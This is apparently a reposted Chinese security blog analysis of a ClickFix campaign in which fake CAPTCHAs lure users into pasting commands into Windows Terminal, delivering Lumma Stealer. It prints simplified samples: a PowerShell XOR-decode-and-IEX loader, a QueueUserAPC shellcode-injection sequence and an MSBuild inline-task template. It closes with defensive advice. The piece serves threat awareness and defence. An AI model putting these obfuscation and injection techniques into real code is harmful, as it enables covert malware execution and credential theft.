文章总结: 文章深度拆解利用Windows终端的新型ClickFix攻击链,黑客通过伪造验证码诱导用户执行恶意代码以规避EDR。技术细节涉及多层脚本解码、QueueUserAPC进程注入及区块链隐匿指令。建议用户警惕不明代码粘贴,监控wt.exe异常进程行为并加强数据保护。 综合评分: 90 文章分类: 威胁情报,社会工程学,恶意软件,红队,实战经验
从假验证码到进程注入:深度拆解利用 Windows 终端的高级社工攻击链
原创
Kit Chung Kit Chung
安全圈动向
2026年3月12日 07:57 广东
兄弟们,最近黑客圈又出新花样了。我在翻阅微软最近的安全报告时,发现了一个挺有意思(也挺吓人)的案例。大家都知道,传统的社工攻击(Social Engineering)老套路通常是诱导用户按 Win + R 运行一段恶意代码。但现在的黑客也开始“内卷”了,他们发现老套路容易被安全软件盯着,于是把目光瞄向了咱们程序员和运维最爱用的 Windows Terminal。
今天我就带大家拆解一下这个名为 ClickFix 的新型攻击链。看完你会发现,黑客为了让我们踩坑,真是操碎了心。
01 为什么黑客抛弃了“运行”框?
以前的 ClickFix 攻击,喜欢让用户打开“运行”对话框(Win+R)粘贴指令。但现在这招不太灵了,很多终端安全产品(EDR)早就把这个路径盯死了。
于是,在 2026 年 2 月被观测到的这波攻击中,黑客玩了个新花样:诱导用户按 Win + X 然后按 I。
这个组合键在 Windows 里会直接启动 Windows Terminal (wt.exe)。黑客的小算盘打得很精:
-
外观专业:
终端环境看起来像是个正式的维护流程,用户警惕性低。
-
权限更高:
默认引导用户进入特权执行环境,避开了许多低权限的拦截。
-
规避检测:
很多针对 Win + R 的行为检测规则,对
wt.exe的监测还没那么严。
02 第一步:极其逼真的“钓鱼”现场
攻击的第一步通常是你在浏览某些网站或下载工具时,弹出一个假的验证码(CAPTCHA)页面或者故障修复提示。
它会煞有介事地提示你:“为了验证您是人类/修复系统组件,请按 Win+X -> I,然后粘贴以下代码。”
如果你真的照做了,粘贴进去的是一段看起来乱码的十六进制(Hex)编码且经过 XOR 压缩的字符串。从这一刻起,你的电脑就不再只听你的话了。
03 技术拆解:这套连招是怎么打的?
作为技术人,咱们得看点深的东西。这段乱码在终端运行后,会触发一系列极其丝滑的操作:
1. 多层级脚本解码
粘贴的指令会拉起多个 PowerShell 实例。黑客会通过多层 IEX(Invoke-Expression)嵌套,让静态扫描工具很难抓取到最终的 URL。其逻辑演示如下:
# 模拟黑客混淆后的解码逻辑
$hexString = "4A5B..." # 极其长的十六进制字符串
$key = 0xAF # 混淆密钥
# 将十六进制转回字节数组并进行 XOR 解密
$bytes = [byte[]](-split ($hexString -replace '..', '$& '))
for ($i = 0; $i -lt $bytes.length; $i++) {
$bytes[$i] = $bytes[$i] -bxor $key
}
# 执行解密后的指令(通常是下载后续 Payload)
$decodedCommand = [System.Text.Encoding]::UTF8.GetString($bytes)
IEX $decodedCommand
2. 这里的 7-Zip 是“工具人”
解密后,它会从远程服务器下载一个加密的 ZIP 负载和一个改了名字的 7-Zip 主程序。黑客利用合法的 7-Zip 命令行工具进行解压,这在系统审计里看起来非常像正常的管理操作。
3. 核心大招:QueueUserAPC() 注入
这是 Lumma Stealer 最“阴”的地方。它不运行新进程,而是通过异步过程调用(APC)把恶意代码塞进你的浏览器里。在 C++ 层面,它的核心 API 调用序列如下:
$$OpenProcess \rightarrow VirtualAllocEx \rightarrow WriteProcessMemory \rightarrow QueueUserAPC$$
// 简化后的注入逻辑演示
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
// 在目标进程(如 chrome.exe)申请内存
LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将恶意代码写入目标进程
WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcodeSize, NULL);
// 关键步:将 Shellcode 加入目标线程的 APC 队列
// 当线程进入“可警告状态”时,代码就会悄悄执行
QueueUserAPC((PAPCFUNC)remoteBuffer, hThread, 0);
技术知识点: 这种方式不需要创建新线程(如 CreateRemoteThread),因此能有效绕过许多 EDR 对异常远程线程创建的监控。
04 进阶版:利用区块链“隐身”的 Etherhiding
微软还发现了第二种更高级的路径。黑客把攻击指令藏在区块链的交易数据里,通过连接 Crypto Blockchain RPC 节点来读取。这种方式下,防火墙很难封禁合法的区块链节点。
此外,他们还会滥用 MSBuild.exe(典型的 LOLBin 攻击)来执行任务。黑客会生成一个伪装成项目文件的 .xml,里面嵌套了内联的 C# 代码:
<!-- 伪装成构建文件的 XML (evil.csproj) -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="...">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
public class ClassExample : Microsoft.Build.Utilities.Task {
public override bool Execute() {
// 这里编写读取区块链数据或执行注入的逻辑
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
05 总结:我们该怎么防?
说实话,这种攻击对于非技术人员来说几乎是“降维打击”。对于咱们 IT 同行,我建议:
-
肌肉记忆要改改:
除非是你自己主动发起的维护,否则任何网页让你按 Win+X 都要当心。永远不要在终端粘贴来源不明的代码。
-
关注异常父子进程:
在 Sysmon 或 EDR 中重点审计
wt.exe拉起cmd.exe或powershell.exe访问外网的行为。 -
敏感数据保护:
重要账号尽量不要直接存在浏览器的“自动填充”里,或者配合更高级的硬件身份验证。
黑客都在进步,咱们的姿势也得更新。希望这篇文章能帮你躲过这一波“终端刺客”。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全圈动向 Kit Chung Kit Chung《从假验证码到进程注入:深度拆解利用 Windows 终端的高级社工攻击链》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论